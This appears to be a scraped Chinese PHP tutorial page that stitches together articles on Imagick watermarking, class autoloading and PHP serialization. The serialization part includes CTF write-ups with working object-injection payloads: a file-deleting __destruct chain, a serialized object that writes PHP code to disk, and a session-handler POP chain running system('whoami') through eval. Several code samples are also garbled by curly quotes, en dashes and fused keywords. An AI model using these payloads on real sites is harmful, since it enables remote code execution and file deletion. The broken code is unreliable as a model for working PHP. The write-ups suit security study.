php使用imagick给图片加水印的方法

 更新时间:2016年11月25日 14:55  点击:1991
下面我们来看一篇关于php使用imagick给图片加水印的方法吧,希望这篇文章能够让各位了解到imagick图片加水印的个方法方式。

<?php
$image = new Imagick();
$image->readImage("original.jpg");

$watermark = new Imagick();
$watermark->readImage("/data/mark.png");

// how big are the images?
$iWidth = $image->getImageWidth();
$iHeight = $image->getImageHeight();
$wWidth = $watermark->getImageWidth();
$wHeight = $watermark->getImageHeight();

if ($iHeight < $wHeight || $iWidth < $wWidth) {
    // resize the watermark
    $watermark->scaleImage($iWidth, $iHeight);

    // get new size
    $wWidth = $watermark->getImageWidth();
    $wHeight = $watermark->getImageHeight();
}

// calculate the position
$x = ($iWidth – $wWidth);
$y = ($iHeight – $wHeight);

$image->compositeImage($watermark, imagick::COMPOSITE_OVER, $x, $y);

header("Content-Type: image/" . $image->getImageFormat());
echo $image;
?>

imagick是一款php的图像处理插件了我们可以使用imagick来进行许多的一些操作了,下面我们来看一篇关于php在新浪云中使用imagick的方法吧,具体的细节如下。

php在新浪云中使用imagick生成缩略图并上传到Storage的方法
<?php
//缩略图
    $tmpFile ='http://phpff.com/original.jpg' ;

    list($width, $height) = getimagesize($tmpFile);
   
    // resize if necessary
    if ($width >= 550 && $height >= 550) {
        $image = new Imagick($tmpFile);
        $image->thumbnailImage(550, 550,true);
    /* 上传文件到Storage */
    $st = new SaeStorage();
        $tmp_url = SAE_TMP_PATH.time();//保存到sae临时目录
    file_put_contents($tmp_url,$image);   
    $path='/201608/22/1471856203_98548400.jpg';
        if (!$st->upload('upload', $path, $tmp_url)) {        
            echo 0;
        } else {
            echo $st->getUrl('upload', $path);
        }
    }
?>

autoload在php主版本中是自动加载文件的一个方法了我们可以定义许多的文件在目录然后通过autoload加载了,下面来看看autoload函数用法。


在PHP5之后,我们可以通过 __autoload来解决这个问题。 而且在PHP5.1之后,还提供了 spl_autoload_register() 来提供更完善的加载机制。

通过阅读了 Autoloading in PHP 这篇文章,我理解的 Autoload 的加载机制,当通过 new 来实例化一个类时,PHP会通过定义的__autoload 函数加载相应的文件,如果这个类文件使用了 extends 或者 implements 需要用到其他的类文件,php会重新运行 autoload 去进行类文件的查找和加载,如果发生了两次对同一类文件的请求,就会报错


自动加载原理


在使用PHP的OO模式开发系统时,通常大家习惯上将每个类的实现都存放在一个单独的文件里,这样会很容易实现对类进行复用,同时将来维护时也很便利。这也是OO设计的基本思想之一。在PHP5之前,如果需要使用一个类,只需要直接使用include/require将其包含进来即可。下面是一个实际的例子:

/* Person.class.php */
<?php
 class Person {
  var $name, $age;
 
  function __construct ($name, $age)
  {
   $this->name = $name;
   $this->age = $age;
  }
 }
?>

/* no_autoload.php */
<?php
 require_once (”Person.class.php”);
 
 $person = new Person(”Altair”, 6);
 var_dump ($person);
?>

在这个例子中,no-autoload.php文件需要使用Person类,它使用了require_once将其包含,然后就可以直接使用Person类来实例化一个对象。

但随着项目规模的不断扩大,使用这种方式会带来一些隐含的问题:如果一个PHP文件需要使用很多其它类,那么就需要很多的require/include语句,这样有可能会造成遗漏或者包含进不必要的类文件。如果大量的文件都需要使用其它的类,那么要保证每个文件都包含正确的类文件肯定是一个噩梦。

PHP5为这个问题提供了一个解决方案,这就是类的自动装载(autoload)机制。autoload机制可以使得PHP程序有可能在使用类时才自动包含类文件,而不是一开始就将所有的类文件include进来,这种机制也称为lazy loading。

下面是使用autoload机制加载Person类的例子:

/* autoload.php */
<?php
 function __autoload($classname) {
  require_once ($classname . “class.php”);
 }
 
 $person = new Person(”Altair”, 6);
 var_dump ($person);
 ?>
 
 通常PHP5在使用一个类时,如果发现这个类没有加载,就会自动运行__autoload()函数,在这个函数中我们可以加载需要使用的类。在我们这个简单的例子中,我们直接将类名加上扩展名”.class.php”构成了类文件名,然后使用require_once将其加载。从这个例子中,我们可以看出autoload至少要做三件事情,第一件事是根据类名确定类文件名,第二件事是确定类文件所在的磁盘路径(在我们的例子是最简单的情况,类与调用它们的PHP程序文件在同一个文件夹下),第三件事是将类从磁盘文件中加载到系统中。第三步最简单,只需要使用include/require即可。要实现第一步,第二步的功能,必须在开发时约定类名与磁盘文件的映射方法,只有这样我们才能根据类名找到它对应的磁盘文件。

 因此,当有大量的类文件要包含的时候,我们只要确定相应的规则,然后在__autoload()函数中,将类名与实际的磁盘文件对应起来,就可以实现lazy loading的效果。从这里我们也可以看出__autoload()函数的实现中最重要的是类名与实际的磁盘文件映射规则的实现。
 
 但现在问题来了,如果在一个系统的实现中,如果需要使用很多其它的类库,这些类库可能是由不同的开发人员编写的,其类名与实际的磁盘文件的映射规则不尽相同。这时如果要实现类库文件的自动加载,就必须在__autoload()函数中将所有的映射规则全部实现,这样的话__autoload()函数有可能会非常复杂,甚至无法实现。最后可能会导致__autoload()函数十分臃肿,这时即便能够实现,也会给将来的维护和系统效率带来很大的负面影响。在这种情况下,难道就没有更简单清晰的解决办法了吧?答案当然是:NO! 在看进一步的解决方法之前,我们先来看一下PHP中的autoload机制是如何实现的。

(2) PHP的autoload机制的实现


实现自动加载,我们需要借助一个函数来实现:

 
/*
autoload_function
欲注册的自动装载函数。如果没有提供任何参数,则自动注册 autoload 的默认实现函数spl_autoload()。
 
throw
此参数设置了 autoload_function 无法成功注册时, spl_autoload_register()是否抛出异常。
 
prepend
如果是 true,spl_autoload_register() 会添加函数到队列之首,而不是队列尾部。
*/
bool spl_autoload_register ([ callable $autoload_function [, bool $throw = true [, bool $prepend = false ]]] )
 
最常用的一种方式就是通过spl_autoload_register函数来注册自动加载类的方法!

通过spl_autoload_register注册

我们可以通过spl_autoload_register函数注册类的方法,在类调用前,我们判断类文件路径是否是文件,如果是则引入之!

下面是一个小例子:

 
<?php
 
class autoload
{
    publicstatic functionload($className)
    {
        $name = str_replace('\\', '/', $className);
        $fileName = sprintf('%s.php', $name);
        if (is_file($fileName)) {
            require_once $fileName;
        }
        // var_dump($fileName);
    }
}
 
// 这样写也可以的
// spl_autoload_register(array("autoload", "load"));
spl_autoload_register("autoload::load");
 
通过__autoload函数实现

我们新建一个autoload.php文件,里面只放如下代码也可以实现上面一样的功能:

 
<?php
 
function__autoload($className) {
 
    $name = str_replace('\\', '/', $className);
    $fileName = sprintf('%s.php', $name);
 
    if (is_file($fileName)) {
        require_once($fileName);
    }
}
 
小结

自动加载可以使得我们的操作更简便,经常需要自动加载一些默认配置,因此掌握自动加载的实现是非常重要的!

序列化在我们学习php中都会有用到了对于序列化我们常用的函数有serialize和unserialize了,希望文章能够帮助到各位了解到PHP中序列化用法,具体如下。


0x00 序列化函数

serialize():返回带有变量类型和值的字符串

unserialize():想要将已序列化的字符串变回 PHP 的值

测试代码:

<?php
  class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $a  = $a;
      $this->b = $b;
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
    $a = 'hello';
    $b = 123;
    $c = false;
    $d = new test('helloa','hellob','helloc');
    $e = new test1('hello');
   
    var_dump(serialize($a));
    var_dump(serialize($b));
    var_dump(serialize($c));
    var_dump(serialize($d));
    var_dump(serialize($e));
?>
运行结果:

string 's:5:"hello";' (length=12)
string 'i:123;' (length=6)
string 'b:0;' (length=4)
string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46)
string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46)
序列化字符串格式: 变量类型:变量长度:变量内容 。

如果序列化的是一个对象,序列化字符串格式为:

变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

将上述结果反序列化输出,执行结果:

string 'hello' (length=5)
int 123
boolean false
object(test)[1]
  public 'a' => null
  public 'b' => string 'hellob' (length=6)
object(test1)[1]
  public 'a' => string 'hello' (length=5)
  public 'b' => null
0x01 对象序列化

当序列化对象时,PHP 将在序列动作之前调用该对象的成员函数 sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 wakeup()成员函数。

在serialize()函数执行时,会先检查类中是否定义了 sleep()函数,如果存在,则首先调用 sleep()函数,如果不存在,就保留序列字符串中的所有属性。

在unserialize()函数执行时,会先检查是否定义了 wakeup()函数。如果 wakeup()存在,将执行__wakeup()函数,会使变量被重新赋值。

serialize()测试代码:

<?php
  class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $this->a  = $a;
      $this->b = $b;
   
     }
     function __sleep(){
      echo "b has changed"."\n";
      $this->b = 'hib';
      return $this->b;
      
   
     }
     function __wakeup(){
      echo "a has changed"."\n";
      $this->a = 'hia';
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
   
    $d = new test('helloa','hellob','helloc');
    $e = new test1('hello');
   
    serialize($d);
    serialize($e);
   
    var_dump($d);
    var_dump($e);
?>

执行结果:

b has changed b has changed
object(test)[1]
public 'a' => string 'helloa' (length=6)
public 'b' => string 'hib' (length=3)
object(test1)[2]
public 'a' => string 'hello' (length=5)
public 'b' => string 'hib' (length=3)
unserialize()测试代码:

class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $this->a  = $a;
      $this->b = $b;
   
     }
     function __sleep(){
      echo "b has changed"."\n";
      $this->b = 'hib';
      return $this->b;
      
   
     }
     function __wakeup(){
      echo "a has changed"."\n";
      $this->a = 'hia';
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
   
        $d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ;
        $e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ;
   
        var_dump(unserialize($d));
        var_dump(unserialize($e));

运行结果:

a has changed
object(test)[1]
  public 'a' => string 'hia' (length=3)
  public 'b' => string 'hellob' (length=6)
a has changed
object(test1)[1]
  public 'a' => string 'hia' (length=3)
  public 'b' => null
0x02 PHP序列化的利用

1、magic函数和序列化

参考: php对象注入

除了 sleep()和 wakeup()函数,在序列化时会执行外,还有下面几种利用方式。

Class File
 {
  function __construct($var,$file1,$file2){
   $this->var = $var;
   $this->file1 = $file1;
   $this->file2 = $file2;
   echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined';
  }
  function __destruct(){
   unlink(dirname(__FILE__) . '/' . $this->file1);
   echo $this->file1.'deleted';
  }
  function __toString(){
   return file_get_contents($this->file2);

  }


 }

// $file = new File('hello','123.txt','456.php');
// var_dump(serialize($file));
echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}');
( construct()函数,在实例化一个对象时被调用,一般用来给属性赋值, destruct()在实例化对象完成后执行,__toString()函数在echo一个对象时被调用)

construct()函数内定义了三个变量,var这个没什么暖用,file1和file2,我们在序列化字符串中定义为已经服务器上已经存在的两个文件123.txt和456.php,destruct()中有一个unlink方法,是删除file1,__toString()中,读取file2的内容。

执行结果:

123.txtdeleted

查看源码:

<?php  echo 123; ?>123.txtdeleted

将字符串反序列化后,由于已经对变量赋过值,那么就不会再执行 construct()函数,在 construct()中赋值的变量也是无效的。上述代码中 destruct()方法在在反序列化后,实例化对象结束后执行了, tostring()函数在echo unserialize()处,也被执行了

如果说在当前页面中有request系列函数,那么就可以造成php对象注入:

http://drops.wooyun.org/papers/4820
2、三个白帽挑战赛第三期

是一道源码审计题,题目大致是sql注入结合序列化写入文件

部分源码也是在某个大神 博客 看到的(由于我没有做过题,所以我只截取了和序列化漏洞相关的部分源码):

class Cache extends \ArrayObject
{
  public $path;
  function __construct($path)
  {
    parent::__construct([],\ArrayObject::STD_PROP_LIST | \ArrayObject::ARRAY_AS_PROPS);
    $this->path = $path;
    if(file_exists($path)){
      $this->cache = unserialize(file_get_contents($this->path));
    }
  function offset(){
  //一些不知道干嘛用的代码
  }

  }

  function __destruct()
  {
    $cache = $this->serialize();
    file_put_contents($this->path, $cache);
   
  }

}

又由于我没有做过题。。。。所以模拟了这样一个页面去实例化:

include('cache.php');
$cache = new Cache('path.txt');

这题好像是这样的:

通过SQL注入,可控一个文件,假设可控的是path.txt这个文件(在实际的题目中,SQL注入权限不够,web目录下不可写文件,但其他目录可写,已知目录下有文件md5(username).txt,文件名知道,内容可控),这段代码的意思是,判断该文件存在后,读取文件内容,并且反序列化内容,结束时再经过序列化存进文件中。所以可以在可控文件中构造序列化字符串,改变当前的path属性为我们想要的目录。

path.txt:

C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}

上述字符串是通过输出serialize(一个实例化的Cache对象)构造的,当__construct()执行时,就会将上述字符串反序列化,此时已经实例化了一个cache对象,而它的path值变成了我们定义的”F:\wamp\www\test\path.php”,并且多了一个cache属性,值为 <?php echo 123; ?> ,这里的属性名cache是可以随意取的,但如果源码中:

$cache = $this->serialize();
变成了:

$cache = serialize($this->cache);
那么path.txt中的 "cache";s:18:"<?php echo 123; ?>" ;属性名就必须和源码serialize($this->cache)当中的属性名相同。

所以,现在服务器上其实有两个对象,一个是 $cache = new Cache('path.txt'); 定义的$cache,它的path属性值为path.txt;另一个对象是

C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 被反序列化后的对象,它的path属性的值为path.php。

两个对象实例化结束后,会调用其__destruct()方法,将对象自身序列化,写入path属性定义的路径中。这样就将包含 <?php echo 123; ?> 的内容写进了path.php中。

3、安恒ctf web3

一道源码审计题,解题思路是session上传进度,和session序列化处理器漏洞相结合。

session上传进度:

参考: upload-progress

当 session.upload_progress.enabled INI 选项开启时,在一个上传处理中,在表单中添加一个与INI中设置的 session.upload_progress.name 同名变量时,$_SESSION中就会添加一个保存上传信息的session值,它的session名是 INI 中定义的 session.upload_progress.prefix 加表单中的post的 session.upload_progress.name

测试代码:


<form action="" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="123123" />
 <input type="submit" />
</form>
<?php
 session_start();
 var_dump($_SESSION);
?>


(要查看到上传session,INI貌似要设置这个session.upload_progress.cleanup = Off)

session序列化处理器:

参考: session序列化

当session.auto_start = 0时:

两个脚本注册 Session 会话时使用的序列化处理器(session.serialize_handler)不同,就会出现安全问题。

经过测试发现在1.php页面注册session.serialize_handler=‘php_serialize’;

在2.php中注册session.serialize_handler=‘php’;

那么在1.php中伪造一个格式为:竖线加上对象序列化后的字符串

如: |O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
那么会按照 php 处理器的反序列化格式读取数据,成功地实例化了该对象。

反之,如果是从php->php_serialize,是不可行的。

当session.auto_start = 1时:

只能注入 PHP 的内置类

web3 源码:

class.php:

    <?php
    class foo1{
            public $varr;
            function __construct(){
                    $this->varr = "index.php";
            }
            function __destruct(){
                    if(file_exists($this->varr)){
                            echo $this->varr;
                    }
                    echo "这是foo1的析构函数";
            }
    }
   
    class foo2{
            public $varr;
            public $obj;
            function __construct(){
                    $this->varr = '1234567890';
                    $this->obj = null;
            }
            function __toString(){
                    $this->obj->execute();
                    return $this->varr;
            }
            function __desctuct(){
                    echo "这是foo2的析构函数";
            }
    }
   
    class foo3{
            public $varr;
            function execute(){
                    eval($this->varr);
            }
            function __desctuct(){
                    echo "这是foo3的析构函数";
            }
    }
   
    ?>
index.php:


<?php
   
    ini_set('session.serialize_handler', 'php');
    
    require("./sessionTest.php");
    
    session_start();
    $obj = new foo1();
    
    $obj->varr = "phpinfo.php";
   
    ?>
想办法让程序执行foo3的excute()函数,就要通过foo2的 toString(),要执行foo2的 toString()就要通过echo foo2,刚好foo1的__deatruct()有段这样的代码 echo $this->varr;

所以这样构造:

include('class.php');
$t1 = new foo1;
$t2 = new foo2;
$t3 = new foo3;
$t3->varr = "system('whoami');";
$t2->obj = $t3;
$t1->varr = $t2;

$s1 = serialize($t1);
var_dump($s1);
构造出这样一串: O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

所以构造一个表单,向class.php上传文件,通过session上传进度保存的session,来触发session序列化漏洞,由于INI中设置的序列化处理器为php_serialize,而index.php中将其设置为php,就使得伪造的session被成功地实例化了。

有两类不同的插法~

1、将序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS

session名变成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload会替换整个session值


2、将序列化字符串插入post内容中

因为session会存上传文件的内容和文件名,所以也可以将序列化字符串插入name、filename.文件上传原本的session值一直到name前面一个参数为止,变成了session名,name参数|后面的payload变成了session值

[!--infotagslink--]

相关文章

  • 使用PHP+JavaScript将HTML页面转换为图片的实例分享

    这篇文章主要介绍了使用PHP+JavaScript将HTML元素转换为图片的实例分享,文后结果的截图只能体现出替换的字体,也不能说将静态页面转为图片可以加快加载,只是这种做法比较interesting XD需要的朋友可以参考下...2016-04-19
  • C#从数据库读取图片并保存的两种方法

    这篇文章主要介绍了C#从数据库读取图片并保存的方法,帮助大家更好的理解和使用c#,感兴趣的朋友可以了解下...2021-01-16
  • Photoshop古装美女图片转为工笔画效果制作教程

    今天小编在这里就来给各位Photoshop的这一款软件的使用者们来说说把古装美女图片转为细腻的工笔画效果的制作教程,各位想知道方法的使用者们,那么下面就快来跟着小编一...2016-09-14
  • Python 图片转数组,二进制互转操作

    这篇文章主要介绍了Python 图片转数组,二进制互转操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-03-09
  • php抓取网站图片并保存的实现方法

    php如何实现抓取网页图片,相较于手动的粘贴复制,使用小程序要方便快捷多了,喜欢编程的人总会喜欢制作一些简单有用的小软件,最近就参考了网上一个php抓取图片代码,封装了一个php远程抓取图片的类,测试了一下,效果还不错分享...2015-10-30
  • jquery左右滚动焦点图banner图片鼠标经过显示上下页按钮

    jquery左右滚动焦点图banner图片鼠标经过显示上下页按钮...2013-10-13
  • 利用JS实现点击按钮后图片自动切换的简单方法

    下面小编就为大家带来一篇利用JS实现点击按钮后图片自动切换的简单方法。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧...2016-10-25
  • Photoshop枪战电影海报图片制作教程

    Photoshop的这一款软件小编相信很多的人都已经是使用过了吧,那么今天小编在这里就给大家带来了用Photoshop软件制作枪战电影海报的教程,想知道制作步骤的玩家们,那么下面...2016-09-14
  • js实现上传图片及时预览

    这篇文章主要为大家详细介绍了js实现上传图片及时预览的相关资料,具有一定的参考价值,感兴趣的朋友可以参考一下...2016-05-09
  • python opencv通过4坐标剪裁图片

    图片剪裁是常用的方法,那么如何通过4坐标剪裁图片,本文就详细的来介绍一下,感兴趣的小伙伴们可以参考一下...2021-06-04
  • 使用PHP下载CSS文件中的图片的代码

    共享一段使用PHP下载CSS文件中的图片的代码 复制代码 代码如下: <?php //note 设置PHP超时时间 set_time_limit(0); //note 取得样式文件内容 $styleFileContent = file_get_contents('images/style.css'); //not...2013-10-04
  • PHP swfupload图片上传的实例代码

    PHP代码如下:复制代码 代码如下:if (isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) { $upload_file = $_FILES['Filedata']; $fil...2013-10-04
  • 微信小程序如何获取图片宽度与高度

    这篇文章主要给大家介绍了关于微信小程序如何获取图片宽度与高度的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-03-10
  • C#中图片旋转和翻转(RotateFlipType)用法分析

    这篇文章主要介绍了C#中图片旋转和翻转(RotateFlipType)用法,实例分析了C#图片旋转及翻转Image.RotateFlip方法属性的常用设置技巧,需要的朋友可以参考下...2020-06-25
  • ps怎么制作图片阴影效果

    ps软件是现在很多人比较喜欢的,有着非常不错的使用效果,这次文章就给大家介绍下ps怎么制作图片阴影效果,还不知道制作方法的赶紧来看看。 ps图片阴影效果怎么做方法/...2017-07-06
  • OpenCV如何去除图片中的阴影的实现

    这篇文章主要介绍了OpenCV如何去除图片中的阴影的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-03-29
  • C#将图片和字节流互相转换并显示到页面上

    本文主要介绍用C#实现图片转换成字节流,字节流转换成图片,并根据图片路径返回图片的字节流,有需要的朋友可以参考下...2020-06-25
  • JavaScript 如何禁止用户保存图片

    这篇文章主要介绍了JavaScript 如何禁止用户保存图片,帮助大家完成需求,更好的理解和使用JavaScript,感兴趣的朋友可以了解下...2020-11-19
  • php上传图片学习笔记与心得

    我们在php中上传文件就必须使用#_FILE变量了,这个自动全局变量 $_FILES 从 PHP 4.1.0 版本开始被支持。在这之前,从 4.0.0 版本开始,PHP 支持 $HTTP_POST_FILES 数组。这...2016-11-25
  • SwiftUI图片缩放、拼图等处理教程

    SwiftUI是一种使用Swift语言在苹果设备上构建用户界面的创新且简单的方式,下面这篇文章主要给大家介绍了关于SwiftUI图片缩放、拼图等处理的相关资料,需要的朋友可以参考下...2021-08-23